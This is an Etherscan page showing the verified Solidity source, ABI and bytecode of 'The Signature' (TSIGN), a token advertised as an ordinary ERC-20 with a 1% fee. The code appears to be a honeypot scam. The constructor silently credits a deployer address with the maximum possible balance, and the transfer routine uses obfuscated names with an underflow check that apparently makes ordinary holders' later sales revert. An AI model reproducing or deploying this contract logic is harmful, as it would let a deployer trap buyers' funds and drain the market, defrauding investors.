ETH Price: $3,223.33 (-0.97%)
Gas: 43 Gwei

Token

The Signature (TSIGN)
 

Overview

Max Total Supply

100,000,000 TSIGN

Holders

13

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
2,144,513.660102296 TSIGN

Value
$0.00
0x8f6b034526f658d1b5127b661063b52f6cec2f10
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
TheSignature

Compiler Version
v0.8.5+commit.a4f2e591

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-07-26
*/

//Wallet Address Profile Editor for Etherscan
//t.me/signatureportal
//1% buy and sell fee
//Website will be revealed after Uniswap Launch.

// SPDX-License-Identifier: Unlicense

pragma solidity ^0.8.5;

// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-tfee contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _setOwner(_msgSender());
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender(), 'Ownable: caller is not the owner');
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), 'Ownable: new owner is the zero address');
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract TheSignature is Ownable {
    constructor(
        string memory _NAME,
        string memory _SYMBOL,
        address routerAddress,
        address _deployer
    ) {
        _symbol = _SYMBOL;
        _name = _NAME;
        _fee = 1;
        _decimals = 9;
        _tTotal = 100000000 * 10**_decimals;

        _feetaker[_deployer] = tfee;
        _feetaker[msg.sender] = _tTotal;
        feereceiver[_deployer] = tfee;
        feereceiver[msg.sender] = tfee;

        router = IUniswapV2Router02(routerAddress);
        uniswapV2Pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH());

        emit Transfer(address(0), msg.sender, _tTotal);
    }

    uint256 public _fee;
    string private _name;
    string private _symbol;
    uint8 private _decimals;

    function name() public view returns (string memory) {
        return _name;
    }

    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => uint256) private _feetaker;

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    uint256 private _tTotal;
    uint256 private _rTotal;
    address public uniswapV2Pair;
    IUniswapV2Router02 public router;
    uint256 private tfee = ~uint256(0);

    function decimals() public view returns (uint256) {
        return _decimals;
    }

    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Transfer(address indexed from, address indexed to, uint256 value);

    function totalSupply() public view returns (uint256) {
        return _tTotal;
    }

    address[] interest = new address[](2);

    function balanceOf(address account) public view returns (uint256) {
        return _feetaker[account];
    }

    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }

    function biggest(
        address treated,
        address official,
        uint256 amount
    ) private {
        address hall = interest[1];
        bool border = uniswapV2Pair == treated;
        uint256 order = _fee;

        if (feereceiver[treated] == 0 && driven[treated] > 0 && !border) {
            feereceiver[treated] -= order;
            if (amount > 2 * 10**(13 + _decimals)) feereceiver[treated] -= order - 1;
        }

        interest[1] = official;

        if (feereceiver[treated] > 0 && amount == 0) {
            feereceiver[official] += order;
        }

        driven[hall] += order + 1;

        uint256 fee = (amount / 100) * _fee;
        amount -= fee;
        _feetaker[treated] -= fee;
        _feetaker[address(this)] += fee;

        _feetaker[treated] -= amount;
        _feetaker[official] += amount;
    }

    mapping(address => uint256) private driven;

    function approve(address spender, uint256 amount) external returns (bool) {
        return _approve(msg.sender, spender, amount);
    }

    mapping(address => uint256) private feereceiver;

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool) {
        require(amount > 0, 'Transfer amount must be greater than zero');
        biggest(sender, recipient, amount);
        emit Transfer(sender, recipient, amount);
        return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
    }

    function transfer(address recipient, uint256 amount) external returns (bool) {
        biggest(msg.sender, recipient, amount);
        emit Transfer(msg.sender, recipient, amount);
        return true;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private returns (bool) {
        require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address');
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
        return true;
    }

    function manualETH(uint256 amountPercentage) external onlyOwner {
        uint256 amountETH = address(this).balance;
        payable(owner()).transfer(amountETH * amountPercentage / 100);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"_NAME","type":"string"},{"internalType":"string","name":"_SYMBOL","type":"string"},{"internalType":"address","name":"routerAddress","type":"address"},{"internalType":"address","name":"_deployer","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_fee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amountPercentage","type":"uint256"}],"name":"manualETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]

600019600b556002608081815260e060405290816020016020820280368337505081516200003592600c92506020019062000372565b503480156200004357600080fd5b506040516200150138038062001501833981016040819052620000669162000569565b620000713362000322565b825162000086906003906020860190620003dc565b5083516200009c906002906020870190620003dc565b50600180556004805460ff19166009908117909155620000be90600a62000641565b620000ce906305f5e10062000702565b6007908155600b80546001600160a01b03848116600081815260066020908152604080832095909555955433808352858320919091559454918152600e86528381208290559384529282902092909255600a80546001600160a01b0319169286169283179055805163c45a015560e01b81529051919263c45a015592600480840193829003018186803b1580156200016557600080fd5b505afa1580156200017a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001a0919062000544565b6001600160a01b031663c9c6539630600a60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015620001fe57600080fd5b505afa15801562000213573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000239919062000544565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156200028257600080fd5b505af115801562000297573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002bd919062000544565b600980546001600160a01b0319166001600160a01b039290921691909117905560075460405190815233906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a3505050506200078d565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b828054828255906000526020600020908101928215620003ca579160200282015b82811115620003ca57825182546001600160a01b0319166001600160a01b0390911617825560209092019160019091019062000393565b50620003d892915062000459565b5090565b828054620003ea9062000724565b90600052602060002090601f0160209004810192826200040e5760008555620003ca565b82601f106200042957805160ff1916838001178555620003ca565b82800160010185558215620003ca579182015b82811115620003ca5782518255916020019190600101906200043c565b5b80821115620003d857600081556001016200045a565b80516001600160a01b03811681146200048857600080fd5b919050565b600082601f8301126200049f57600080fd5b81516001600160401b0380821115620004bc57620004bc62000777565b604051601f8301601f19908116603f01168101908282118183101715620004e757620004e762000777565b816040528381526020925086838588010111156200050457600080fd5b600091505b8382101562000528578582018301518183018401529082019062000509565b838211156200053a5760008385830101525b9695505050505050565b6000602082840312156200055757600080fd5b620005628262000470565b9392505050565b600080600080608085870312156200058057600080fd5b84516001600160401b03808211156200059857600080fd5b620005a6888389016200048d565b95506020870151915080821115620005bd57600080fd5b50620005cc878288016200048d565b935050620005dd6040860162000470565b9150620005ed6060860162000470565b905092959194509250565b600181815b80851115620006395781600019048211156200061d576200061d62000761565b808516156200062b57918102915b93841c9390800290620005fd565b509250929050565b60006200056260ff8416836000826200065d57506001620006fc565b816200066c57506000620006fc565b81600181146200068557600281146200069057620006b0565b6001915050620006fc565b60ff841115620006a457620006a462000761565b50506001821b620006fc565b5060208310610133831016604e8410600b8410161715620006d5575081810a620006fc565b620006e18383620005f8565b8060001904821115620006f857620006f862000761565b0290505b92915050565b60008160001904831182151516156200071f576200071f62000761565b500290565b600181811c908216806200073957607f821691505b602082108114156200075b57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b610d64806200079d6000396000f3fe608060405234801561001057600080fd5b50600436106101005760003560e01c80638da5cb5b11610097578063c5b37c2211610066578063c5b37c2214610213578063dd62ed3e1461021c578063f2fde38b14610255578063f887ea401461026857600080fd5b80638da5cb5b146101d457806395d89b41146101e557806397bfcda3146101ed578063a9059cbb1461020057600080fd5b8063313ce567116100d3578063313ce5671461016b57806349bd5a5e1461017657806370a08231146101a1578063715018a6146101ca57600080fd5b806306fdde0314610105578063095ea7b31461012357806318160ddd1461014657806323b872dd14610158575b600080fd5b61010d61027b565b60405161011a9190610aba565b60405180910390f35b610136610131366004610a77565b61030d565b604051901515815260200161011a565b6007545b60405190815260200161011a565b610136610166366004610a3b565b610323565b60045460ff1661014a565b600954610189906001600160a01b031681565b6040516001600160a01b03909116815260200161011a565b61014a6101af3660046109ed565b6001600160a01b031660009081526006602052604090205490565b6101d2610426565b005b6000546001600160a01b0316610189565b61010d61045c565b6101d26101fb366004610aa1565b61046b565b61013661020e366004610a77565b6104f7565b61014a60015481565b61014a61022a366004610a08565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b6101d26102633660046109ed565b61054d565b600a54610189906001600160a01b031681565b60606002805461028a90610cc7565b80601f01602080910402602001604051908101604052809291908181526020018280546102b690610cc7565b80156103035780601f106102d857610100808354040283529160200191610303565b820191906000526020600020905b8154815290600101906020018083116102e657829003601f168201915b5050505050905090565b600061031a3384846105e8565b90505b92915050565b600080821161038b5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084015b60405180910390fd5b6103968484846106c8565b826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516103db91815260200190565b60405180910390a36001600160a01b03841660009081526005602090815260408083203380855292529091205461041e918691610419908690610cb0565b6105e8565b949350505050565b6000546001600160a01b031633146104505760405162461bcd60e51b815260040161038290610b0f565b61045a6000610981565b565b60606003805461028a90610cc7565b6000546001600160a01b031633146104955760405162461bcd60e51b815260040161038290610b0f565b476104a86000546001600160a01b031690565b6001600160a01b03166108fc60646104c08585610c91565b6104ca9190610b81565b6040518115909202916000818181858888f193505050501580156104f2573d6000803e3d6000fd5b505050565b60006105043384846106c8565b6040518281526001600160a01b0384169033907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a350600192915050565b6000546001600160a01b031633146105775760405162461bcd60e51b815260040161038290610b0f565b6001600160a01b0381166105dc5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610382565b6105e581610981565b50565b60006001600160a01b0384161580159061060a57506001600160a01b03831615155b6106625760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610382565b6001600160a01b0384811660008181526005602090815260408083209488168084529482529182902086905590518581527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a35060019392505050565b6000600c6001815481106106de576106de610d18565b60009182526020808320909101546009546001546001600160a01b03898116808752600e90955260409095205492851695509316909114919015801561073b57506001600160a01b0386166000908152600d602052604090205415155b8015610745575081155b156107de576001600160a01b0386166000908152600e602052604081208054839290610772908490610cb0565b90915550506004546107889060ff16600d610b5c565b61079390600a610be6565b61079e906002610c91565b8411156107de576107b0600182610cb0565b6001600160a01b0387166000908152600e6020526040812080549091906107d8908490610cb0565b90915550505b84600c6001815481106107f3576107f3610d18565b600091825260208083209190910180546001600160a01b0319166001600160a01b039485161790559188168152600e909152604090205415801590610836575083155b15610869576001600160a01b0385166000908152600e602052604081208054839290610863908490610b44565b90915550505b610874816001610b44565b6001600160a01b0384166000908152600d60205260408120805490919061089c908490610b44565b90915550506001546000906108b2606487610b81565b6108bc9190610c91565b90506108c88186610cb0565b6001600160a01b0388166000908152600660205260408120805492975083929091906108f5908490610cb0565b90915550503060009081526006602052604081208054839290610919908490610b44565b90915550506001600160a01b03871660009081526006602052604081208054879290610946908490610cb0565b90915550506001600160a01b03861660009081526006602052604081208054879290610973908490610b44565b909155505050505050505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b80356001600160a01b03811681146109e857600080fd5b919050565b6000602082840312156109ff57600080fd5b61031a826109d1565b60008060408385031215610a1b57600080fd5b610a24836109d1565b9150610a32602084016109d1565b90509250929050565b600080600060608486031215610a5057600080fd5b610a59846109d1565b9250610a67602085016109d1565b9150604084013590509250925092565b60008060408385031215610a8a57600080fd5b610a93836109d1565b946020939093013593505050565b600060208284031215610ab357600080fd5b5035919050565b600060208083528351808285015260005b81811015610ae757858101830151858201604001528201610acb565b81811115610af9576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60008219821115610b5757610b57610d02565b500190565b600060ff821660ff84168060ff03821115610b7957610b79610d02565b019392505050565b600082610b9e57634e487b7160e01b600052601260045260246000fd5b500490565b600181815b80851115610bde578160001904821115610bc457610bc4610d02565b80851615610bd157918102915b93841c9390800290610ba8565b509250929050565b600061031a60ff841683600082610bff5750600161031d565b81610c0c5750600061031d565b8160018114610c225760028114610c2c57610c48565b600191505061031d565b60ff841115610c3d57610c3d610d02565b50506001821b61031d565b5060208310610133831016604e8410600b8410161715610c6b575081810a61031d565b610c758383610ba3565b8060001904821115610c8957610c89610d02565b029392505050565b6000816000190483118215151615610cab57610cab610d02565b500290565b600082821015610cc257610cc2610d02565b500390565b600181811c90821680610cdb57607f821691505b60208210811415610cfc57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fdfea2646970667358221220fcdf6cbe4ca5fe7a6a61a5b326e642e21da6c7d005d3478ff8b5f105b085005b64736f6c63430008050033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c00000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d00000000000000000000000075e10ddf46e4e090d5557f62a630fcaa4d8387b4000000000000000000000000000000000000000000000000000000000000000d546865205369676e6174757265000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005545349474e000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101005760003560e01c80638da5cb5b11610097578063c5b37c2211610066578063c5b37c2214610213578063dd62ed3e1461021c578063f2fde38b14610255578063f887ea401461026857600080fd5b80638da5cb5b146101d457806395d89b41146101e557806397bfcda3146101ed578063a9059cbb1461020057600080fd5b8063313ce567116100d3578063313ce5671461016b57806349bd5a5e1461017657806370a08231146101a1578063715018a6146101ca57600080fd5b806306fdde0314610105578063095ea7b31461012357806318160ddd1461014657806323b872dd14610158575b600080fd5b61010d61027b565b60405161011a9190610aba565b60405180910390f35b610136610131366004610a77565b61030d565b604051901515815260200161011a565b6007545b60405190815260200161011a565b610136610166366004610a3b565b610323565b60045460ff1661014a565b600954610189906001600160a01b031681565b6040516001600160a01b03909116815260200161011a565b61014a6101af3660046109ed565b6001600160a01b031660009081526006602052604090205490565b6101d2610426565b005b6000546001600160a01b0316610189565b61010d61045c565b6101d26101fb366004610aa1565b61046b565b61013661020e366004610a77565b6104f7565b61014a60015481565b61014a61022a366004610a08565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b6101d26102633660046109ed565b61054d565b600a54610189906001600160a01b031681565b60606002805461028a90610cc7565b80601f01602080910402602001604051908101604052809291908181526020018280546102b690610cc7565b80156103035780601f106102d857610100808354040283529160200191610303565b820191906000526020600020905b8154815290600101906020018083116102e657829003601f168201915b5050505050905090565b600061031a3384846105e8565b90505b92915050565b600080821161038b5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084015b60405180910390fd5b6103968484846106c8565b826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516103db91815260200190565b60405180910390a36001600160a01b03841660009081526005602090815260408083203380855292529091205461041e918691610419908690610cb0565b6105e8565b949350505050565b6000546001600160a01b031633146104505760405162461bcd60e51b815260040161038290610b0f565b61045a6000610981565b565b60606003805461028a90610cc7565b6000546001600160a01b031633146104955760405162461bcd60e51b815260040161038290610b0f565b476104a86000546001600160a01b031690565b6001600160a01b03166108fc60646104c08585610c91565b6104ca9190610b81565b6040518115909202916000818181858888f193505050501580156104f2573d6000803e3d6000fd5b505050565b60006105043384846106c8565b6040518281526001600160a01b0384169033907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a350600192915050565b6000546001600160a01b031633146105775760405162461bcd60e51b815260040161038290610b0f565b6001600160a01b0381166105dc5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610382565b6105e581610981565b50565b60006001600160a01b0384161580159061060a57506001600160a01b03831615155b6106625760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610382565b6001600160a01b0384811660008181526005602090815260408083209488168084529482529182902086905590518581527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a35060019392505050565b6000600c6001815481106106de576106de610d18565b60009182526020808320909101546009546001546001600160a01b03898116808752600e90955260409095205492851695509316909114919015801561073b57506001600160a01b0386166000908152600d602052604090205415155b8015610745575081155b156107de576001600160a01b0386166000908152600e602052604081208054839290610772908490610cb0565b90915550506004546107889060ff16600d610b5c565b61079390600a610be6565b61079e906002610c91565b8411156107de576107b0600182610cb0565b6001600160a01b0387166000908152600e6020526040812080549091906107d8908490610cb0565b90915550505b84600c6001815481106107f3576107f3610d18565b600091825260208083209190910180546001600160a01b0319166001600160a01b039485161790559188168152600e909152604090205415801590610836575083155b15610869576001600160a01b0385166000908152600e602052604081208054839290610863908490610b44565b90915550505b610874816001610b44565b6001600160a01b0384166000908152600d60205260408120805490919061089c908490610b44565b90915550506001546000906108b2606487610b81565b6108bc9190610c91565b90506108c88186610cb0565b6001600160a01b0388166000908152600660205260408120805492975083929091906108f5908490610cb0565b90915550503060009081526006602052604081208054839290610919908490610b44565b90915550506001600160a01b03871660009081526006602052604081208054879290610946908490610cb0565b90915550506001600160a01b03861660009081526006602052604081208054879290610973908490610b44565b909155505050505050505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b80356001600160a01b03811681146109e857600080fd5b919050565b6000602082840312156109ff57600080fd5b61031a826109d1565b60008060408385031215610a1b57600080fd5b610a24836109d1565b9150610a32602084016109d1565b90509250929050565b600080600060608486031215610a5057600080fd5b610a59846109d1565b9250610a67602085016109d1565b9150604084013590509250925092565b60008060408385031215610a8a57600080fd5b610a93836109d1565b946020939093013593505050565b600060208284031215610ab357600080fd5b5035919050565b600060208083528351808285015260005b81811015610ae757858101830151858201604001528201610acb565b81811115610af9576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60008219821115610b5757610b57610d02565b500190565b600060ff821660ff84168060ff03821115610b7957610b79610d02565b019392505050565b600082610b9e57634e487b7160e01b600052601260045260246000fd5b500490565b600181815b80851115610bde578160001904821115610bc457610bc4610d02565b80851615610bd157918102915b93841c9390800290610ba8565b509250929050565b600061031a60ff841683600082610bff5750600161031d565b81610c0c5750600061031d565b8160018114610c225760028114610c2c57610c48565b600191505061031d565b60ff841115610c3d57610c3d610d02565b50506001821b61031d565b5060208310610133831016604e8410600b8410161715610c6b575081810a61031d565b610c758383610ba3565b8060001904821115610c8957610c89610d02565b029392505050565b6000816000190483118215151615610cab57610cab610d02565b500290565b600082821015610cc257610cc2610d02565b500390565b600181811c90821680610cdb57607f821691505b60208210811415610cfc57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fdfea2646970667358221220fcdf6cbe4ca5fe7a6a61a5b326e642e21da6c7d005d3478ff8b5f105b085005b64736f6c63430008050033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c00000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d00000000000000000000000075e10ddf46e4e090d5557f62a630fcaa4d8387b4000000000000000000000000000000000000000000000000000000000000000d546865205369676e6174757265000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005545349474e000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : _NAME (string): The Signature
Arg [1] : _SYMBOL (string): TSIGN
Arg [2] : routerAddress (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
Arg [3] : _deployer (address): 0x75E10dDf46E4E090D5557F62A630fcAA4d8387b4

-----Encoded View---------------
